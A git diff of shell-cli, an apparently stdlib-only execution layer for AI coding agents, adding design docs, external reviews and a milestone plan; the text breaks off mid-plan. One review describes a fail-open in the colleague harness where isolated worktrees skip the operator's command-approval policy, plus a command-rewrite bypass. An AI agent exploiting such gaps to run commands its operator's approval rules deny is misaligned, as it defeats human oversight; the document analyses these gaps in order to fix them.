cover both. -- Constraint #1 still binds. Driving `docker`/`podman` by `subprocess` to a CLI - on `PATH` keeps the core pure-stdlib; pulling a Docker SDK does not, and would - have to live behind an extra. +Use devague (`/challenge`) to pressure-test that plan for boundary leaks, false +safety claims, version skew, and operations that would bypass the selected +environment. That pass is expected, not optional. ## Open questions — park them, do not guess -Recorded in issue #1; still unanswered. Use `/think` (devague) if one needs real -framing rather than a quick call. - -- Does `media` / `view_media` travel here, or stay in colleague? -- Does the approval-policy *file format* stay colleague's, or does shell-cli - define its own and colleague adapt? (Policy files exist in the wild; a format - change is a migration.) -- Is the read-only-subtree guard generalised to arbitrary paths, or does it stay - a single configurable directory? -- Does the CLI expose the policy as a first-class verb (`shell policy check …`)? -- Does anything beyond colleague adopt this soon — and should that shape the API - now, or wait for a second real consumer? - -## Definition of done, first milestone - -1. Six primitives + confinement + truncation + approval policy live here, - pure-stdlib, with a `test_zero_deps`-style guard enforcing it. -2. Tests carried over and extended from the colleague suite named above. -3. A documented threat model that does **not** claim to be a sandbox. -4. A concrete migration proposal **filed as an issue on colleague**: how it drops - its copy, allow-lists `shell-cli` in its guard test, and keeps behaviour - identical. colleague's change is colleague's to make — **propose, don't push.** +Issue #1 settles several questions an earlier draft of this file left open: +`view_media` **travels** here; the policy **evaluator** moves while **location +resolution** stays; read-only paths **are** generalised; `shell policy +check|explain` **is** a first-class verb. Do not reopen those. + +These remain genuinely open: + +- **stdout/stderr shape.** §10 requires preserving `run_command`'s current + rendering, but colleague concatenates stdout and stderr unlabelled into one + string (`tools.py:1047-1048`), while §8 requires them captured **separately**. + Capturing separately and letting the adapter concatenate satisfies both — but it + means the neutral result and the compat rendering diverge from day one. +- **The bookkeeping exemption has two leaks.** The approvals ledger + (`cli/_approvals.py:42,59`) lives in the exempt `.colleague/` directory but *is* + the authorization surface. Skill files (`learn_from.py:431-444`) are written from + another agent's repository and folded into every backend's system prompt. + "Executes code or touches the workspace" catches neither, because influencing + authorization and influencing the prompt are separate categories. +- **Detached processes.** Does a detached re-invocation count as one classified + control operation, or must the child inherit the selected environment? A wrapper + on the synchronous path is bypassable by construction. +- **Policy file format.** Stay byte-compatible with colleague's `approvals.json`, + or define a shell-native format with a compatibility reader? +- **Second consumer.** Does anything beyond colleague adopt this soon, and should + that shape the API now or wait? + +## Definition of done + +- Every colleague work-affecting local operation is inventoried and classified; + runtime-private bookkeeping is explicitly accounted for. +- Every project-code execution path uses the selected shell environment. +- Every trusted control subprocess uses an explicit control profile. +- colleague has no unclassified direct subprocess path. +- The six original tools migrate with observable parity. +- Existing worktree and handoff guarantees remain green. +- Host mode is documented as a guard, never a sandbox. +- Container mode's actual isolation profile is tested and recorded per operation. +- Structured evidence is available to colleague, humans, telemetry, and validators. +- Base shell-cli remains pure-stdlib. +- The CLI and library use the same operation engine. +- colleague imports shell-cli; shell-cli never imports colleague. +- A migration proposal is **filed as an issue on colleague** — how it drops its + copy, allow-lists `shell-cli` in its guard test, and keeps behaviour identical. + colleague's change is colleague's to make: **propose, don't push.** + +## Non-goals + +- reasoning, planning, roles, or agent orchestration +- model APIs or prompt construction +- web search/navigation semantics (`webglass-cli` owns them) +- memory semantics (`eidetic-cli` owns them) +- devague/culture/coherence domain logic +- PR policy, acceptance judgment, or handoff decisions +- claiming containers are perfect isolation, or that worktrees contain anything +- adding abstractions with no current colleague or CLI consumer + +### The WebGlass peer seam + +`webglass-cli` is a **peer, not a layer** — a separate repository and a separate +colleague capability seam, on the same footing as shell-cli rather than beneath +or above it. colleague composes both; neither composes the other. + +The boundary is drawn at semantics. A browser session, a page fetch, a +navigation step and a search result are **web** semantics and belong entirely to +webglass-cli. They are not local operations and must never be modelled as +`Operation` kinds here — a `web.fetch` kind in this package would be the seam +collapsing. + +**Only provider-neutral artifacts cross.** When webglass produces a file, it is +just a file: shell-cli can be asked to read it through the ordinary confined +`fs.read` path, with no knowledge that a browser produced it and no webglass +type in the signature. `tests/test_boundaries.py` asserts shell-cli's import +graph contains no webglass module, in the same breath as the colleague check. + +Scope consequence: WebGlass integration is Milestone 5 work, planned in its own +repository against its own spec. It is deliberately **not** covered by this +repo's Milestone 0/1 plan, and no task here delivers it. ## Naming, and the prompt-file story @@ -269,8 +725,8 @@ framing rather than a quick call. the GitHub URLs stay `shell-cli`. `explain` accepts both as the root path. - **Prompt files.** `culture.yaml` declares `backend: colleague`, so `doctor`'s backend-consistency check requires `AGENTS.colleague.md` — which exists and - passes. This `CLAUDE.md` is the Claude Code prompt and the contributor guide; - it does **not** change that mapping. Keep both files, and keep them from + passes. This `CLAUDE.md` is the Claude Code prompt and the contributor guide; it + does **not** change that mapping. Keep both files, and keep them from contradicting each other. ## Conventions and workflow @@ -278,23 +734,22 @@ framing rather than a quick call. - **Skills**: `.claude/skills/` is vendored cite-don't-import from guildmaster (and directly from devague/colleague for a few tracked divergences). Provenance and the re-sync procedure live in `docs/skill-sources.md` — read it before - editing anything under `.claude/skills/`; local edits are lost on re-sync - unless lifted upstream first. Vendored skills are excluded from markdownlint - and from Sonar analysis on purpose. + editing anything under `.claude/skills/`; local edits are lost on re-sync unless + lifted upstream first. Vendored skills are excluded from markdownlint and from + Sonar analysis on purpose. - **PR lane**: use the `cicd` skill (`devex pr` plus SonarCloud `status` / `await`). CI blocks on the Sonar quality gate when `SONAR_TOKEN` is set. - **Second opinion**: reach for `ask-colleague` reflexively — `review` before - opening a PR on a non-trivial diff, `explore` for a fresh read of an - unfamiliar area. Both are read-only and run in a throwaway worktree, so the - reflex is always safe; the side-effecting `write --apply` / `--pr` needs the - user's go-ahead. Given that colleague is *the* consumer of this package, its - read of an extraction seam is worth more here than usual. -- **Memory**: `/recall` before non-trivial work to build on prior decisions - rather than re-deriving them; `/remember` when a non-obvious decision, - constraint, fix-and-why, or hard-won gotcha surfaces. This repo's memory is - in-repo and public — records resolve to `/.eidetic/memory` - (committed, team- and mesh-shared). Pass `--visibility private` to route a - record to `$HOME` instead. + opening a PR on a non-trivial diff, `explore` for a fresh read of an unfamiliar + area. Both are read-only and run in a throwaway worktree, so the reflex is always + safe; the side-effecting `write --apply` / `--pr` needs the user's go-ahead. + Given that colleague is *the* consumer of this package, its read of an extraction + seam is worth more here than usual. +- **Memory**: `/recall` before non-trivial work to build on prior decisions rather + than re-deriving them; `/remember` when a non-obvious decision, constraint, + fix-and-why, or hard-won gotcha surfaces. This repo's memory is in-repo and + public — records resolve to `/.eidetic/memory` (committed, team- and + mesh-shared). Pass `--visibility private` to route a record to `$HOME` instead. - **Cross-repo**: use the `communicate` skill to file issues on sibling repos (auto-signs `- shell-cli (Claude)`); use `gh issue create` or `cicd` for issues on this repo. diff --git a/README.md b/README.md index 0846ead..de7a4b5 100644 --- a/README.md +++ b/README.md @@ -1,11 +1,21 @@ # shell-cli -The file-and-shell tool surface for AI coding agents: read, write, edit, list, -view media, and gated shell execution — with path confinement and an operator -approval policy. Pure-stdlib core, extracted from -[`colleague`](https://github.com/agentculture/colleague) so any harness imports -one execution layer instead of reimplementing it, and reimplementing its safety -model with it. +**The guarded local operations plane for AI agents.** + +An agent harness has to touch the local machine constantly — read a file, write +one, run a command, run the tests, run a linter, fire a hook, drive git, invoke +a trusted CLI. Every harness reimplements that surface, and reimplements its +safety model with it, usually worse each time. + +shell-cli provides one place to **plan, authorize, execute, observe, and record** +a local operation. It does not decide *why*, *when*, or *which* — that is the +calling harness's job. It is not another agent: it contains no model, planner, +memory, web browser, or domain workflow. It is the execution substrate beneath +them. + +[`colleague`](https://github.com/agentculture/colleague) is the first consumer, +not the owner. colleague imports shell-cli; shell-cli imports nothing from +colleague. Repo token `shell-cli`, console command **`shell`**, import package **`shell`**, PyPI distribution **`shell-cli`**. @@ -23,6 +33,11 @@ It protects against **accidental and careless** model behaviour. It does **not** protect against an adversarial one, and it is not a security boundary to put untrusted input behind. +A container runner is planned, and when it lands it will be described +separately: a declared boundary with a documented profile, recorded per +operation. It will not retroactively change what the host path above provides. +The two claims stay textually separate on purpose. + Full detail — assets, actors, known bypasses, and what real isolation would require — in [`docs/threat-model.md`](docs/threat-model.md). The same posture is readable in-band via `shell explain safety`, and @@ -31,30 +46,77 @@ surface drops the disclaimer or claims isolation. ## Status -**Scaffold.** The agent-first CLI skeleton is real and green; the six -primitives, the path confinement, and the approval policy are still being -extracted from `colleague`. Only the introspection verbs below are implemented -today. The build brief and current scope live in -[issue #1](https://github.com/agentculture/shell-cli/issues/1). +**Scaffold, with the release pipeline hardened.** The agent-first CLI skeleton +(`whoami`, `learn`, `explain`, `overview`, `doctor`, `cli`) is real and green, +and publishing is gated on the full quality suite plus a built-wheel smoke test. + +**No operation, environment, policy, or runner has been built yet.** The +introspection verbs below are the entire implemented surface today. + +[Issue #1](https://github.com/agentculture/shell-cli/issues/1) is the source of +truth for scope; the converged spec and the buildable plan live in +[`docs/specs/`](docs/specs/) and [`docs/plans/`](docs/plans/). + +## The model + +An **operation** is any local observation, mutation, process invocation, or +environment lifecycle action. The boundary is **work-affecting I/O** — not every +internal byte a runtime writes. Every operation follows one lifecycle: -## What this will be +```text +intent -> Operation -> policy + preview -> environment backend + -> result + evidence -> caller +``` + +### Environments have two independent axes + +"Host", "worktree" and "container" are not one overloaded mode. A workspace axis +selects what may be observed and changed; a runner axis selects what executes +it. + +| Workspace | Runner | Guarantee | +|---|---|---| +| Checkout | Host | Guarded host execution; no isolation | +| Worktree | Host | Reviewable/recoverable changes; no process isolation | +| Checkout | Container | Execution isolation against the selected checkout | +| Worktree | Container | Preferred autonomous mode | -Two surfaces, in priority order: +### Three operation profiles -1. **A library** — the primary consumer is another agent harness *importing* - this. That is the surface carrying the value, and it is designed first. -2. **A CLI** — `shell read`, `shell run`, `shell edit`, so a human or an agent - can drive the same gated surface from a terminal and watch the policy decide. +Every subprocess declares why it is running, because not all of them deserve +equal trust. -Four constraints hold it together: +- **`project`** — executes repository-controlled code: model-issued commands, + tests, linters, repo hooks. +- **`control`** — executes trusted control-plane programs: git mechanics, + neighbouring AgentCulture CLIs, the container engine itself. Argv vectors + only; raw shell strings are not appropriate here. +- **`observe`** — structured reads confined to the selected root. -- **Pure-stdlib core, zero base dependencies.** colleague allow-lists exactly - its sanctioned base deps; a third-party dependency here means colleague cannot - import this package at all. Optional features go behind extras. +### Evidence is a product surface + +Every operation produces a structured record suitable for the model, the +operator, telemetry, and an external validator: what was requested and how it +normalized, the policy verdict, the environment and runner, timing and exit +status, separately captured stdout/stderr with truncation markers, and the known +filesystem/git effects — plus **an honest marker for whether that effect list is +complete**. Secrets are never recorded, and a failure to capture evidence never +turns an executed action into an unrecorded success. + +## Constraints that hold it together + +- **Pure-stdlib core, zero base dependencies.** `dependencies = []`, guarded by a + test. colleague allow-lists exactly its sanctioned base deps; a third-party + dependency here means colleague cannot import this package at all. Optional + integrations go behind extras. - **A guard, not a sandbox** — see above. -- **Write verbs are dry-run by default**; `--apply` commits. Agents call CLIs in - loops, so safe-by-default is mandatory. -- **Every PR bumps the version** — every push to `main` publishes to PyPI. +- **Mutation and execution preview by default.** The CLI requires `--apply`; + imported callers must pass `apply=True` explicitly. A preview is never + reported as success — it gets its own status. +- **Library first, CLI second.** The CLI is a front end over the same operation + engine, never a second implementation. +- **Every PR bumps the version** — every push to `main` publishes to PyPI. See + [`docs/release-runbook.md`](docs/release-runbook.md). ## Quickstart @@ -82,6 +144,22 @@ Every command supports `--json`. Results go to stdout, errors/diagnostics to stderr (never mixed). Exit codes: `0` success, `1` user error, `2` environment error, `3+` reserved. +## Non-goals + +shell-cli is deliberately not a general agent layer. It owns local operation +mechanics and nothing else: + +- reasoning, planning, roles, or agent orchestration — colleague's job +- model APIs or prompt construction +- **web search and navigation semantics** — `webglass-cli` owns them, as a + separate repository and a separate colleague capability seam. shell-cli does + not embed a browser and does not model web actions as local operations. Only + provider-neutral artifact transfer crosses between the two: a file webglass + produces is just a file shell-cli can be asked to read. +- memory semantics — `eidetic-cli` owns them +- PR policy, acceptance judgment, or handoff decisions +- claiming containers are perfect isolation, or that worktrees contain anything + ## Repo furniture - **Mesh identity** — `culture.yaml` (`suffix` + `backend`) and the matching diff --git a/docs/external-review/18-07-2026.sol.challenge.md b/docs/external-review/18-07-2026.sol.challenge.md new file mode 100644 index 0000000..80594cb --- /dev/null +++ b/docs/external-review/18-07-2026.sol.challenge.md @@ -0,0 +1,49 @@ +# External review — challenge pass (sol, 2026-07-18) + +> Inbound review, stored verbatim. Only a title heading and blank-line +> normalisation were added; the reviewer's words are unchanged. + +The full artifact is excellent—and it changes the priority. The challenge found a real current Colleague policy bypass, not merely a future migration risk. + +I independently verified the static chain at the pinned commit: + +* `.colleague/approvals.json` is excluded from worktrees by [`.gitignore`](https://github.com/agentculture/colleague/blob/28fee290c51fc4310b9fc576981809ad5c3132c6/.gitignore#L235-L249). +* `colleague work` always enables isolation. +* Isolation replaces `task.repo_path` with the worktree path. +* The loop then resolves policy from that replaced path. +* Missing `run_command` policy allows execution. + +So `c49` is credible and important. I would pause shell-cli implementation briefly and fix Colleague first: + +1. Resolve and snapshot policy/hooks from the operator/source root before creating the worktree. +2. Inject that snapshot into the isolated loop and subagents. +3. Distinguish `absent`, `malformed`, and `expected-but-unresolved`. +4. Add isolated-work and nested-subagent regression tests. + +Because this is a security-relevant fail-open, I would not initially publish the complete exploit chain as a normal public issue. Use a private security advisory/private fix PR if possible, release the fix, then disclose it. + +The review still needs a cleanup pass before wholesale confirmation: + +| Entry | Correction | +| ------------------------ | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| `c21` | Example is backwards. The bypass is: an **allowed original** is rewritten into a **denied command**, while policy incorrectly checks the original. | +| `c28` / `h16` | Change 16 modules to **15**, matching the scanner-backed `c37`/`h28`. | +| `c29` instruction | Remove “test can fail loudly.” Use the known-debt allowlist already defined by `h26`. | +| `c32`/`h22`, `c35`/`h20` | These are stale/orphaned predecessors. Reject/remove them; `c39`/`h25` and `c38`/`h24` supersede them. | +| `c9` | Keep the version-bump fact, but remove the conclusion that it argues for larger PRs. Versioning should not determine review size. | +| `c14` | Don’t silently inline `25000`. Make it shell-cli’s documented default while Colleague explicitly passes its configured value for parity. | +| `c48` | “Mirrored in the same PR” is impossible across repositories. Require coordinated paired PRs or a source-hash gate, and minimize the dual-implementation window. | +| `c54` | Separate finding from migration parity. Hooks are trusted operator configuration currently lacking runtime command gating; introduce a hook-specific policy deliberately rather than silently applying `run_command` rules. | + +I would also slightly refine `c1`: shell-cli owns **normalization, preview, operation-policy authorization, execution, and evidence**. Avoid saying it “plans” generally, because cognitive planning remains Colleague’s responsibility. + +The strongest findings beyond the policy bypass are: + +* `c44`: catches the silent 4 MiB → 16 MiB media regression. +* `c45`: makes incomplete shell effects honest in structured evidence. +* `c46`: corrects the impossible “secrets are never recorded” promise. +* `c47`: preserves worktree concurrency semantics. +* `c51–c53`: ensure policy applies inside the operation engine and cannot be bypassed by a new caller. +* `c41–c43`: properly treat publishing/version skew/rollback as architecture, not release housekeeping. + +My verdict: this is now a genuinely high-quality architectural frame. Fix Colleague’s policy resolution first, apply the eight cleanup corrections, confirm the remaining claims, then proceed to `/challenge` and `/spec-to-plan`. diff --git a/docs/external-review/19-07-2026.sol.plan.md b/docs/external-review/19-07-2026.sol.plan.md new file mode 100644 index 0000000..4e3e139 --- /dev/null +++ b/docs/external-review/19-07-2026.sol.plan.md @@ -0,0 +1,187 @@ +# External review — spec and plan (sol, 2026-07-19) + +> Inbound review, stored verbatim. Only a title heading and blank-line +> normalisation were added; the reviewer's words are unchanged. + +This is much stronger. It incorporated nearly all prior corrections: the architecture wording, private security handling, known-debt allowlist, cross-repo ownership, dual-implementation window, hook-specific policy, and correct rewrite-bypass direction. + +My verdict: ready for the final `/challenge` after a few surgical corrections—not quite ready for `/spec-to-plan`. + +## Must correct + +1. Two stale contradictions remain: + +* Scope `s18` still says **16 modules**; the verified count is 15. +* The final hard question again describes “denied → allowed.” The dangerous direction is **allowed original → denied rewritten command**. +* “13 known paths” near the beginning should be “13 debt-tagged modules”; there are 21 spawn sites. + +1. The urgent fix conflicts with the migration gate. + +The honesty condition says no Colleague code changes occur before the migration proposal, but the security fix must happen first. Scope it as: + +> No **shell-cli migration or cutover** change lands in Colleague before the migration proposal. The independently scoped policy-resolution security fix is exempt and precedes characterization. + +Likewise, clarify that “no implementation before the six-part plan” applies to shell-cli implementation—not the urgent Colleague patch. + +1. Separate the immediate policy fix from child-policy redesign. + +The smallest safe fix should: + +* Resolve policy/hooks from the operator/source root. +* Carry that source-root identity through nested worktrees. +* Preserve today’s per-model overlay semantics. + +“Children can never become broader than their parent” is a valuable hardening change, but it introduces new policy composition semantics. Define it separately as: + +> `child_effective_policy = parent_cap ∩ source_root_child_model_policy` + +with deny winning and allowlists intersecting. Otherwise the urgent patch risks becoming a larger behavioral redesign. + +1. Resolve the parked stdout/stderr question. + +The clean answer is: + +* `OperationResult` always captures `stdout` and `stderr` separately. +* The Colleague compatibility adapter renders the legacy `stdout + stderr` string during the parity milestone. +* A future separately reviewed Colleague schema/output change may expose them distinctly. + +That gives shell-cli the correct contract without breaking model behavior. + +1. Strengthen publishing before Milestone 1. + +The spec identifies that publishing runs with weaker gates but only defines recovery. Add: + +* Publish depends on the complete test/lint/honesty suite. +* Build and install the wheel in a clean environment. +* Run a CLI/import smoke test against that installed wheel. +* Use a bounded Colleague dependency such as `shell-cli>=0.8,<0.9` until 1.0. + +Fix-forward and yanking should remain the recovery path, but prevention belongs in the contract too. + +## Important additions + +HostRunner needs explicit timeout/cancellation semantics: + +* Start commands in a process group. +* On timeout/cancel: terminate the group, wait briefly, then kill. +* Record termination signal and escalation in evidence. +* Document platforms where orphan prevention is incomplete. + +Also add `schema_version` to `Operation`, `OperationResult`, and persisted evidence. Since `shell operation show` implies durable retrieval, the plan must decide where evidence is stored, its retention policy, and what happens when recording fails. + +Finally, [issue #1](https://github.com/agentculture/shell-cli/issues/1) still needs its title changed to: + +> **Build brief: shell-cli — the guarded local operations plane for AI agents** + +After those edits, I’d consider the spec genuinely ready for `/challenge`. Its strongest decision is sequencing the Colleague fix before characterization—otherwise shell-cli would faithfully preserve a security bug as “parity.” + +[Review the spec](sandbox:/workspace/scratch/4c611fe80521/upload/2026-07-18-guarded-local-operations-plane.md) + +This is a strong task inventory, but it is not yet a safe executable plan. I would not run `/assign-to-workforce` on it as-is. + +The biggest problem: its formal target coverage is 100%, but several tasks only mention an outcome without implementing it. + +## Critical sequencing problems + +| Problem | Correction | +| ---------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------- | +| `t23` builds characterization after implementations `t15–t19` | Split it: capture legacy behavior and fixtures immediately after the Colleague fix, before `t6`; run differential parity afterward. | +| `t7` zero-dependency guard depends on `t6` | Reverse it or merge them. The guard must exist in the first core implementation PR. | +| `t8` honesty enforcement follows `t6` | Make it part of the foundation PR so no new surface can land first. | +| `t24` drift protection comes after both implementations exist | Install the source-hash/drift gate before extraction begins. | +| `t13` promises the same verdict as execution but depends only on the evaluator | It must depend on `t11`, the real dispatch policy path. | +| `t15–t17` implement filesystem/media without policy snapshot/dispatch dependencies | Depend on `t10` and `t11`, not only `t6`. | +| `t19` process execution precedes complete evidence/redaction semantics | Depend on core evidence, redaction, timeout, and cancellation contracts. | +| `t25` adds documentation after verbs | Remove it as a standalone task. Catalog/explain/status updates belong in every verb’s own PR. | + +## The security task is still too broad + +`t1` combines the urgent fix with a new child-policy inheritance model. + +Split it: + +* `t1a` — urgent Colleague fix: resolve policy/hooks from the source root and carry that root through worktrees and children, preserving current per-model overlay behavior. +* `t1b` — separately reviewed hardening: define child policy as a restriction of the parent, for example: + + `child_effective = parent_cap ∩ source_root_child_model_policy` + +This keeps the urgent patch small and avoids accidentally changing legitimate model-overlay behavior during a security release. + +## It is unclear whether this is an M0/1 plan or the full plan + +If this is only the required Milestone 0/1 plan, it is over-scoped: worktree migration and hook-policy design should be parked. + +If it is the full implementation plan, it is incomplete. There are no concrete tasks for: + +* Colleague adapter adoption and legacy removal +* Routing `run_tests`, lint, affected tests, hooks, domain CLIs, and remaining control processes +* Driving `debt_remaining` from 13 to zero +* ContainerRunner and its isolation tests +* Container/worktree Git strategy +* Ecosystem/provider integration + +For example, `t5` claims coverage of the Milestone 3 zero-debt target but only installs and reports the counter. Nothing actually migrates all 13 modules. + +## Missing from the latest spec review + +The plan appears to have been generated before the last amendments. It still lacks tasks for: + +* Separate `stdout`/`stderr` capture with legacy concatenation in the Colleague adapter +* HostRunner process-group timeout/cancellation and orphan prevention +* `schema_version` on `Operation`, `OperationResult`, and evidence +* Evidence persistence/retention behind `shell operation show` +* Full-quality, wheel-install, and smoke-test gates before PyPI publishing +* Updating issue #1’s title + +## Repository and PR ownership is missing + +All 26 tasks have no repository or PR boundary. That is dangerous for workforce assignment. + +Each task should name: + +* Repository: `shell-cli` or `colleague` +* Milestone and PR slice +* Files/modules owned +* Whether it publishes a shell-cli release +* Exact cross-repo version/SHA it consumes + +The plan itself already detects a filesystem collision between `t15`, `t16`, and `t17`, but offers no resolved wave structure. + +## Recommended shape + +1. **Security lane — Colleague** + + * Source-root policy/hooks fix + * Release and regression tests + * Separate child-policy-cap hardening + +2. **M0 — characterization** + + * Issue reply/title/guidance + * Inventory scanner + * Legacy fixtures and characterization harness + * Drift gate + * Release/publishing contract + +3. **M1 — shell-cli** + + * Versioned contracts + evidence + HostRunner + policy dispatch + * Filesystem/media slice + * Process slice with cancellation + * CLI/catalog/persistence slice + * Publish bounded release + +4. **M2 — Colleague** + + * Add dependency and adapter + * Preserve roles/hooks/accounting/rendering + * Differential parity + * Remove legacy implementation + +5. **M3–M5** + + * Remaining execution paths → debt zero + * ContainerRunner + * Ecosystem providers + +My verdict: regenerate the plan after incorporating the missing spec requirements and explicitly choose whether it covers M0/1 or all five milestones. The underlying analysis is excellent; the dependency graph is the part that needs another pass. diff --git a/docs/plans/2026-07-18-guarded-local-operations-plane.md b/docs/plans/2026-07-18-guarded-local-operations-plane.md new file mode 100644 index 0000000..25d54f0 --- /dev/null +++ b/docs/plans/2026-07-18-guarded-local-operations-plane.md @@ -0,0 +1,347 @@ + +# Plan projection — guarded-local-operations-plane + +> **This file is a generated projection, not an authored plan.** +> The authoritative state is `.devague/plans/guarded-local-operations-plane.json`. Do not edit +> this file; regenerate it with `scripts/render_plan.py` whenever the JSON +> changes. Any divergence between the two means this file is stale. + +- **Plan slug**: `guarded-local-operations-plane` +- **Source frame**: `guarded-local-operations-plane` +- **Generated**: 2026-07-19 00:52:44Z +- **Source**: `.devague/plans/guarded-local-operations-plane.json` +- **SHA-256 of source**: `cd5f912d71145bc8ef8d4a979df7e326d731bdb8c0c0905b568f8e2d68ce70d1` +- **Confirmed tasks**: 19 +- **Coverage**: 90 / 102 targets + +## Why this file exists + +`devague plan export` cannot render this plan. Its coverage gate requires +every confirmed target in the parent frame to be covered by a task, but this +plan is deliberately milestone-scoped and defers the targets listed below to +separately scoped plans. Adding placeholder tasks to satisfy the gate would +mean claiming delivery of work this plan does not do, so the plan is exported +through this projection instead. + +Tracked upstream as . When deferred-target semantics land, +delete this script and use `devague plan export`. + +## Execution waves + +Dependency layering over confirmed tasks. Same-wave tasks have no +inter-task dependencies; file disjointness is asserted per task under +`owns:` and must be re-checked before fan-out. + +```text +wave 0: t69, t71 +wave 1: t70, t72, t73 +wave 2: t74 +wave 3: t75, t76 +wave 4: t77, t78 +wave 5: t79 +wave 6: t80, t81, t82, t83 +wave 7: t84, t85 +wave 8: t86 +wave 9: t87 +``` + +## Tasks + +### `t69` + +[colleague / security-lane / PUBLISHES a fixed colleague release] Private security PR: resolve policy+hooks from the operator source root and carry that identity through nested worktrees and children — RESOLUTION ONLY, per-model overlay semantics unchanged. owns: colleague/policy.py, loop.py, worktrees.py, subagents.py, cli/_commands/work.py + +- **Depends on**: _none_ +- **Covers**: `c49`, `h37`, `c50`, `h38`, `c67`, `h62` +- **Acceptance criteria** (5): + - A repo-level approvals.json with a deny still denies when 'colleague work' runs isolated — regression test over the isolation worktree path + - A nested subagent inherits the source-root snapshot; regression test covers the nested-worktree case + - Per-model overlay behaviour is byte-identical before and after — the release changes resolution only + - An expected-but-unresolved policy emits a visible diagnostic, never a silent allow-all + - Lands as a PRIVATE security advisory / private fix PR and PUBLISHES a fixed colleague release; public disclosure follows the release + +### `t70` + +[colleague / security-lane / separate review / publishes a colleague release] Harden child policy as a restriction of the parent: child_effective = parent_cap INTERSECT source_root_child_model_policy, deny winning and allowlists intersecting. owns: colleague/policy.py, subagents.py + +- **Depends on**: `t69` +- **Covers**: `c52`, `h40` +- **Acceptance criteria** (2): + - A child cannot obtain a broader run_command allowance than its parent by selecting a different model + - Ships as its own reviewed change with migration notes, never bundled into the security release + +### `t71` + +[shell-cli / M0 / PR1 — FIRST MERGED shell-cli PR / publishes scaffold-only release] Release and publishing hardening BEFORE any later merge publishes. owns: .github/workflows/publish.yml, docs/release-runbook.md + +- **Depends on**: _none_ +- **Covers**: `c64`, `h59`, `c41`, `h29`, `c42`, `h30`, `c43`, `h31`, `c55`, `h55`, `c38`, `h57` +- **Acceptance criteria** (7): + - Publish depends on the COMPLETE test/lint/honesty suite; the wheel is built and installed into a clean environment and a CLI/import smoke test runs against that INSTALLED wheel + - colleague pins shell-cli with an upper bound (e.g. >=0.8,<0.9) until 1.0 + - The colleague PR adding the dependency updates test_base_dependency_is_exactly_agentfront AND its docstring in the same commit + - A yank-and-fix-forward runbook exists before anything colleague depends on is published + - The security fix is explicitly exempt from the migration-proposal gate + - This PR merges FIRST — every subsequent shell-cli merge publishes + - INVARIANT (every shell-cli PR): version bumped; all lint/test/honesty gates green; catalog/explain/Status documentation updated for any changed surface; no unrelated work batched into this slice + +### `t72` + +[shell-cli / M0 / PR2 / publishes scaffold-only release] Post the six-part Milestone 0/1 plan on issue #1, align every guidance surface with the operations-plane issue, and document the WebGlass peer-seam boundary. owns: issue #1, CLAUDE.md, AGENTS.colleague.md, README.md + +- **Depends on**: `t71` +- **Covers**: `c19`, `h58`, `c6`, `h2`, `c39`, `h25`, `c33`, `h14`, `c68`, `h63` +- **Acceptance criteria** (5): + - The issue reply names all six items from section 17; no shell-cli implementation PR merges before it is posted + - grep across all guidance surfaces finds no subclass seam and no settled question presented as open + - The WebGlass boundary is documented as a colleague peer seam with provider-neutral artifact transfer only + - DEFERRED: the ContainerRunner-specific threat-model split is Milestone 4 and is NOT delivered here + - INVARIANT (every shell-cli PR): version bumped; all lint/test/honesty gates green; catalog/explain/Status documentation updated for any changed surface; no unrelated work batched into this slice + +### `t73` + +[shell-cli / M0 / PR3 / publishes scaffold-only release] Commit the inventory scanner with its pinned SHA and wire --check into CI as a known-debt gate that publishes debt_remaining. owns: scripts/colleague_inventory.py, .github/workflows/tests.yml + +- **Depends on**: `t71` +- **Covers**: `c23`, `h26`, `c58`, `h43` +- **Acceptance criteria** (5): + - --check exits 0 at the pinned commit and non-zero on any unclassified spawn path, proven against a synthetic fixture + - CI publishes debt_remaining every run, derived from the committed ALLOWLIST + - Every guidance surface derives the 21-spawn/15-module figure from the scanner rather than transcribing it + - DEFERRED: installs and reports the counter ONLY. Driving debt from 13 to zero is Milestone 3 + - INVARIANT (every shell-cli PR): version bumped; all lint/test/honesty gates green; catalog/explain/Status documentation updated for any changed surface; no unrelated work batched into this slice + +### `t74` + +[shell-cli / M0 / PR4 / publishes scaffold-only release] Capture the FIXED colleague baseline: generate schemas and fixtures, build the provider-neutral harness interface, and prove fixture regeneration. owns: tests/characterization/, tests/fixtures/colleague/ + +- **Depends on**: `t69`, `t71`, `t70` +- **Covers**: `c16`, `h9` +- **Acceptance criteria** (7): + - Fixtures and the six schemas are generated from colleague at a recorded SHA AFTER the security fix — never hand-written + - Schemas pinned byte-for-byte including key order, _PATH_DESC interpolation, list_dir's absent 'required' key, and read_file's literal backslash escapes + - The harness interface is provider-neutral — it can drive an implementation that does not exist yet + - Fixture regeneration is proven: re-running against the same SHA reproduces byte-identical fixtures + - SCOPE: does NOT run both implementations — none exists yet. Differential parity is owned by the M2 parity task + - INVARIANT (every shell-cli PR): version bumped; all lint/test/honesty gates green; catalog/explain/Status documentation updated for any changed surface; no unrelated work batched into this slice + - Pins colleague AFTER BOTH security-lane releases — the source-root policy fix (t69) and the child-policy cap hardening (t70) — so fixtures capture the fully hardened baseline. This is an explicit dependency, not a wave-order coincidence: characterization must never encode pre-hardening policy composition as parity. + +### `t75` + +[shell-cli / M0 / PR5 / publishes scaffold-only release] Install the source-hash drift gate BEFORE extraction begins. owns: tests/test_drift_gate.py, scripts/handler_hashes.json + +- **Depends on**: `t74` +- **Covers**: `c59`, `h44` +- **Acceptance criteria** (4): + - A change to either copy of the six handlers during the migration window fails CI rather than relying on a human remembering + - Characterization fixtures are regenerated from colleague at a pinned commit, never hand-maintained + - The gate is live before the first extraction PR + - INVARIANT (every shell-cli PR): version bumped; all lint/test/honesty gates green; catalog/explain/Status documentation updated for any changed surface; no unrelated work batched into this slice + +### `t76` + +[shell-cli / M1 / PR6 / publishes] FOUNDATION: Operation, OperationResult, Environment with schema_version, the lifecycle pipeline, HostRunner skeleton — WITH the zero-dep guard, honesty gate and WebGlass negative-import check. owns: shell/operations.py, results.py, environment.py, tests/test_zero_deps.py, tests/test_honesty.py, tests/test_boundaries.py + +- **Depends on**: `t74`, `t71` +- **Covers**: `c61`, `c27`, `c30`, `c2`, `h48`, `c4`, `h50`, `c3`, `h49` +- **Acceptance criteria** (6): + - The zero-dep guard ships IN THIS PR: asserts dependencies literally, snapshots sys.modules, and fails when a third-party import is added + - shell-cli's import graph contains no colleague module and no webglass module + - Every new surface passes test_honesty.py so no unguarded surface can land first + - A preview is reported as its own status, never as success + - 